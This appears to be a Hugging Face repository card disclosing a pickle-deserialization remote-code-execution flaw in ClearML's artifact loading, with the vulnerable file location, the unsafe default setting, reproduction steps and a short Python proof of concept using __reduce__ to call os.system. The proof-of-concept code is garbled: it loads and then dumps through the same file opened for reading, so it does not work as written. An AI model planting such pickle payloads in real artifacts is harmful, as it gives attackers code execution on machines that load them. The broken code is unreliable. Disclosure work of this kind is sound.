YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
ClearML Pickle RCE PoC
Reported to huntr by xiaoyaoes
Vulnerability Location
File: clearml/binding/artifacts.py:309
The artifact loading mechanism calls pickle.load() to deserialize artifacts
of type "pickle". The sole protection β SHA256 integrity check β only verifies
that the file hasn't been corrupted, NOT that it's safe.
Key Details
block_unsafe_artifacts: bool = False(line 208) β default is OFF- SHA256 integrity check β only verifies file integrity, not safety
- Zero pickle safety protections β no
safe_globals, notrusted, noweights_only
Reproduction Steps
- Create a malicious pickle payload with arbitrary code execution
- Compute the SHA256 hash of the malicious pickle
- Upload as a ClearML artifact with matching hash metadata
- When any ClearML agent loads the artifact β
pickle.load()triggers RCE
PoC
import pickle, os
class Pwn:
def __reduce__(self):
return (os.system, ('id',))
with open("clearml_poc.pkl", "rb") as f:
pickle.load(f) # β RCE
pickle.dump(Pwn(), f)
# When ClearML loads this pickle file β RCE triggered
Impact
CVSS 9.8 β Remote Code Execution
- Default configuration is vulnerable
- Supply chain attack vector
- No authentication required to receive the attack
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support